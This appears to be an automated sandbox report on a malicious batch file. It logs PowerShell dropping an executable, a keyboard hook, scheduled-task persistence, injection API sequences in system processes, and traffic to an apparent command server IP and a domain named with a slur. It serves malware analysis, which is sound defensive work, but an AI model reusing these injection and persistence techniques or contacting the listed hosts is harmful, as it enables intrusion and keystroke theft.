Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D29DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_000001CA7D29DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D29D894 FindFirstFileExW,	15_2_000001CA7D29D894
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD5DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	16_2_0000017D2DD5DA18
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD5D894 FindFirstFileExW,	16_2_0000017D2DD5D894
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000022F4B92DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	17_2_0000022F4B92DA18
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000022F4B92D894 FindFirstFileExW,	17_2_0000022F4B92D894
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	18_2_00000262F1CADA18
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CAD894 FindFirstFileExW,	18_2_00000262F1CAD894
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D0DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	18_2_00000262F1D0DA18
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D0D894 FindFirstFileExW,	18_2_00000262F1D0D894
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D3DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	18_2_00000262F1D3DA18
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D3D894 FindFirstFileExW,	18_2_00000262F1D3D894
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD2DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	22_2_000001B68BD2DA18
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD2D894 FindFirstFileExW,	22_2_000001B68BD2D894
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD5DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	22_2_000001B68BD5DA18
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD5D894 FindFirstFileExW,	22_2_000001B68BD5D894
Source: C:\Windows\System32\conhost.exe	Code function: 23_2_000001E591CCDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	23_2_000001E591CCDA18
Source: C:\Windows\System32\conhost.exe	Code function: 23_2_000001E591CCD894 FindFirstFileExW,	23_2_000001E591CCD894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E13D894 FindFirstFileExW,	26_2_000002234E13D894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E13DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_000002234E13DA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E16D894 FindFirstFileExW,	26_2_000002234E16D894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E16DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_000002234E16DA18
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000023942B1DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	27_2_0000023942B1DA18
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000023942B1D894 FindFirstFileExW,	27_2_0000023942B1D894
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF056DD894 FindFirstFileExW,	28_2_000001EF056DD894
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF056DDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	28_2_000001EF056DDA18
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF0570D894 FindFirstFileExW,	28_2_000001EF0570D894
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF0570DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	28_2_000001EF0570DA18
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD4D894 FindFirstFileExW,	29_2_000002287AD4D894
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD4DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	29_2_000002287AD4DA18
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001B94DA9D894 FindFirstFileExW,	30_2_000001B94DA9D894
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001B94DA9DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	30_2_000001B94DA9DA18
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000002520257DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	31_2_000002520257DA18
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000002520257D894 FindFirstFileExW,	31_2_000002520257D894
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025ADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	31_2_00000252025ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025AD894 FindFirstFileExW,	31_2_00000252025AD894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFCDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	32_2_000001A9EBFCDA18
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFCD894 FindFirstFileExW,	32_2_000001A9EBFCD894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC68D894 FindFirstFileExW,	32_2_000001A9EC68D894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC68DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	32_2_000001A9EC68DA18
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6BD894 FindFirstFileExW,	32_2_000001A9EC6BD894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6BDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	32_2_000001A9EC6BDA18
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF163DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	33_2_0000019FF163DA18
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF163D894 FindFirstFileExW,	33_2_0000019FF163D894
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF19ADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	33_2_0000019FF19ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF19AD894 FindFirstFileExW,	33_2_0000019FF19AD894

Source: global traffic

TCP traffic: 192.168.2.7:49764 -> 103.230.121.81:4988

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: iam.nigga.dad

Source: lsass.exe, 00000010.00000000.1416970653.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3360104518.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1417029020.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3363525081.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000010.00000000.1417029020.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3363525081.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: svchost.exe, 0000001A.00000002.3406712131.000002234AE8A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000000.1477059978.000002234AE8A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: lsass.exe, 00000010.00000000.1417029020.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3363525081.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000010.00000000.1416970653.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3360104518.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1417029020.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3363525081.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 00000010.00000000.1416987791.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416923916.0000017D2D442000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 00000010.00000000.1416970653.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3360104518.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1417029020.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3363525081.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: svchost.exe, 0000001A.00000002.3410804423.000002234B513000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: lsass.exe, 00000010.00000000.1417007094.0000017D2D493000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3362429168.0000017D2D493000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 00000010.00000002.3357932105.0000017D2D400000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416923916.0000017D2D400000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000000.1476780587.000002234AE40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.3405486583.000002234AE40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000000.1476625383.000002234AE13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.3404973305.000002234AE13000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD4157.26.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: svchost.exe, 0000001A.00000000.1476780587.000002234AE40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.3405486583.000002234AE40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000000.1476625383.000002234AE13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.3408361314.000002234AEE7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000000.1476689535.000002234AE34000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.3405221017.000002234AE34000.00000004.00000001.00020000.00000000.sdmp, FB0D848F74F70BB2EAA93746D24D97490.26.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab
Source: svchost.exe, 0000001A.00000000.1477287322.000002234AEEE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?7cd3bd29ccfac
Source: lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000010.00000002.3350244375.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416768127.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: powershell.exe, 00000023.00000002.3351331204.00000213124B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c
Source: powershell.exe, 00000023.00000002.3351331204.00000213124B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.ctain
Source: lsass.exe, 00000010.00000000.1416970653.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3360104518.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1417029020.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3363525081.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 00000010.00000000.1416987791.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416923916.0000017D2D442000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 00000010.00000000.1416987791.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416923916.0000017D2D442000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416813718.0000017D2CE91000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: dwm.exe, 00000012.00000000.1427635100.00000262ED790000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 00000012.00000002.3415712940.00000262ED790000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://osoft.co_2010-06X
Source: lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: powershell.exe, 00000023.00000002.3376787099.0000021314381000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000002.3350244375.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416768127.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: lsass.exe, 00000010.00000002.3349200810.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000010.00000000.1416748782.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/P
Source: powershell.exe, 00000023.00000002.3376787099.0000021314381000.00000004.00000001.00020000.00000000.sdmp, Null.35.dr, Null.12.dr	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000023.00000002.3376787099.0000021314381000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000023.00000002.3376787099.0000021314381000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6xG

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Windows user hook set: 0 keyboard low level C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 8164, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Found large BAT file

Source: product.bat

Static file information: 7309406

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows\$nya-onimai2\IhrFKM.exe

Jump to dropped file

Source: C:\Windows\System32\dllhost.exe	Code function: 14_2_0000000140001868 OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,	14_2_0000000140001868
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1E2C80 TlsGetValue,TlsGetValue,TlsGetValue,NtEnumerateValueKey,NtEnumerateValueKey,NtEnumerateValueKey,TlsSetValue,TlsSetValue,TlsSetValue,	15_2_000001CA7D1E2C80
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD52300 NtQuerySystemInformation,StrCmpNIW,	16_2_0000017D2DD52300
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CA2C80 TlsGetValue,TlsGetValue,TlsGetValue,NtEnumerateValueKey,NtEnumerateValueKey,NtEnumerateValueKey,TlsSetValue,TlsSetValue,TlsSetValue,	18_2_00000262F1CA2C80
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD42300 NtQuerySystemInformation,StrCmpNIW,	29_2_000002287AD42300

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\$rbx-onimai2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows\$rbx-onimai2\$rbx-CO2.bat	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\System32\Tasks\$nya-mW41WeM4	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\$nya-onimai2	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\$nya-onimai2\IhrFKM.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\$rbx-onimai2

Jump to behavior

Source: C:\Windows\System32\dllhost.exe	Code function: 14_2_0000000140001CF0	14_2_0000000140001CF0
Source: C:\Windows\System32\dllhost.exe	Code function: 14_2_0000000140002D4C	14_2_0000000140002D4C
Source: C:\Windows\System32\dllhost.exe	Code function: 14_2_00000001400031D0	14_2_00000001400031D0
Source: C:\Windows\System32\dllhost.exe	Code function: 14_2_0000000140001274	14_2_0000000140001274
Source: C:\Windows\System32\dllhost.exe	Code function: 14_2_0000000140002434	14_2_0000000140002434
Source: C:\Windows\System32\winlogon.exe	Code function: 15_3_000001CA7D1BCE18	15_3_000001CA7D1BCE18
Source: C:\Windows\System32\winlogon.exe	Code function: 15_3_000001CA7D1BCC94	15_3_000001CA7D1BCC94
Source: C:\Windows\System32\winlogon.exe	Code function: 15_3_000001CA7D1B23F0	15_3_000001CA7D1B23F0
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1EDA18	15_2_000001CA7D1EDA18
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1ED894	15_2_000001CA7D1ED894
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1E2FF0	15_2_000001CA7D1E2FF0
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D21DA18	15_2_000001CA7D21DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D21D894	15_2_000001CA7D21D894
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D212FF0	15_2_000001CA7D212FF0
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D29DA18	15_2_000001CA7D29DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D29D894	15_2_000001CA7D29D894
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D292FF0	15_2_000001CA7D292FF0
Source: C:\Windows\System32\lsass.exe	Code function: 16_3_0000017D2DD2CE18	16_3_0000017D2DD2CE18
Source: C:\Windows\System32\lsass.exe	Code function: 16_3_0000017D2DD2CC94	16_3_0000017D2DD2CC94
Source: C:\Windows\System32\lsass.exe	Code function: 16_3_0000017D2DD223F0	16_3_0000017D2DD223F0
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD5DA18	16_2_0000017D2DD5DA18
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD5D894	16_2_0000017D2DD5D894
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD52FF0	16_2_0000017D2DD52FF0
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_0000022F4B8F23F0	17_3_0000022F4B8F23F0
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_0000022F4B8FCE18	17_3_0000022F4B8FCE18
Source: C:\Windows\System32\svchost.exe	Code function: 17_3_0000022F4B8FCC94	17_3_0000022F4B8FCC94
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000022F4B922FF0	17_2_0000022F4B922FF0
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000022F4B92DA18	17_2_0000022F4B92DA18
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000022F4B92D894	17_2_0000022F4B92D894
Source: C:\Windows\System32\dwm.exe	Code function: 18_3_00000262F1EB23F0	18_3_00000262F1EB23F0
Source: C:\Windows\System32\dwm.exe	Code function: 18_3_00000262F1EBCE18	18_3_00000262F1EBCE18
Source: C:\Windows\System32\dwm.exe	Code function: 18_3_00000262F1EBCC94	18_3_00000262F1EBCC94
Source: C:\Windows\System32\dwm.exe	Code function: 18_3_00000262F1CD23F0	18_3_00000262F1CD23F0
Source: C:\Windows\System32\dwm.exe	Code function: 18_3_00000262F1CDCE18	18_3_00000262F1CDCE18
Source: C:\Windows\System32\dwm.exe	Code function: 18_3_00000262F1CDCC94	18_3_00000262F1CDCC94
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CA2FF0	18_2_00000262F1CA2FF0
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CADA18	18_2_00000262F1CADA18
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CAD894	18_2_00000262F1CAD894
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D02FF0	18_2_00000262F1D02FF0
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D0DA18	18_2_00000262F1D0DA18
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D0D894	18_2_00000262F1D0D894
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D32FF0	18_2_00000262F1D32FF0
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D3DA18	18_2_00000262F1D3DA18
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D3D894	18_2_00000262F1D3D894
Source: C:\Windows\System32\cmd.exe	Code function: 22_3_000001B68BCFCE18	22_3_000001B68BCFCE18
Source: C:\Windows\System32\cmd.exe	Code function: 22_3_000001B68BCFCC94	22_3_000001B68BCFCC94
Source: C:\Windows\System32\cmd.exe	Code function: 22_3_000001B68BCF23F0	22_3_000001B68BCF23F0
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD2DA18	22_2_000001B68BD2DA18
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD2D894	22_2_000001B68BD2D894
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD22FF0	22_2_000001B68BD22FF0
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD5DA18	22_2_000001B68BD5DA18
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD5D894	22_2_000001B68BD5D894
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD52FF0	22_2_000001B68BD52FF0
Source: C:\Windows\System32\conhost.exe	Code function: 23_3_000001E591C9CE18	23_3_000001E591C9CE18
Source: C:\Windows\System32\conhost.exe	Code function: 23_3_000001E591C9CC94	23_3_000001E591C9CC94
Source: C:\Windows\System32\conhost.exe	Code function: 23_3_000001E591C923F0	23_3_000001E591C923F0
Source: C:\Windows\System32\conhost.exe	Code function: 23_2_000001E591CCDA18	23_2_000001E591CCDA18
Source: C:\Windows\System32\conhost.exe	Code function: 23_2_000001E591CCD894	23_2_000001E591CCD894
Source: C:\Windows\System32\conhost.exe	Code function: 23_2_000001E591CC2FF0	23_2_000001E591CC2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 26_3_000002234E1023F0	26_3_000002234E1023F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_3_000002234E10CC94	26_3_000002234E10CC94
Source: C:\Windows\System32\svchost.exe	Code function: 26_3_000002234E10CE18	26_3_000002234E10CE18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E132FF0	26_2_000002234E132FF0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E13D894	26_2_000002234E13D894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E13DA18	26_2_000002234E13DA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E162FF0	26_2_000002234E162FF0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E16D894	26_2_000002234E16D894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E16DA18	26_2_000002234E16DA18
Source: C:\Windows\System32\svchost.exe	Code function: 27_3_0000023942AECE18	27_3_0000023942AECE18
Source: C:\Windows\System32\svchost.exe	Code function: 27_3_0000023942AE23F0	27_3_0000023942AE23F0
Source: C:\Windows\System32\svchost.exe	Code function: 27_3_0000023942AECC94	27_3_0000023942AECC94
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000023942B1DA18	27_2_0000023942B1DA18
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000023942B12FF0	27_2_0000023942B12FF0
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000023942B1D894	27_2_0000023942B1D894
Source: C:\Windows\System32\svchost.exe	Code function: 28_3_000001EF056ACC94	28_3_000001EF056ACC94
Source: C:\Windows\System32\svchost.exe	Code function: 28_3_000001EF056A23F0	28_3_000001EF056A23F0
Source: C:\Windows\System32\svchost.exe	Code function: 28_3_000001EF056ACE18	28_3_000001EF056ACE18
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF056DD894	28_2_000001EF056DD894
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF056D2FF0	28_2_000001EF056D2FF0
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF056DDA18	28_2_000001EF056DDA18
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF0570D894	28_2_000001EF0570D894
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF05702FF0	28_2_000001EF05702FF0
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF0570DA18	28_2_000001EF0570DA18
Source: C:\Windows\System32\svchost.exe	Code function: 29_3_000002287A7D23F0	29_3_000002287A7D23F0
Source: C:\Windows\System32\svchost.exe	Code function: 29_3_000002287A7DCC94	29_3_000002287A7DCC94
Source: C:\Windows\System32\svchost.exe	Code function: 29_3_000002287A7DCE18	29_3_000002287A7DCE18
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD42FF0	29_2_000002287AD42FF0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD4D894	29_2_000002287AD4D894
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD4DA18	29_2_000002287AD4DA18
